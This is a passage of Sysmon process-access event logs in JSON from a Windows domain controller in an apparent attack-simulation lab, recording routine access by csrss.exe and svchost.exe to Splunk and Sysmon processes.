Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: 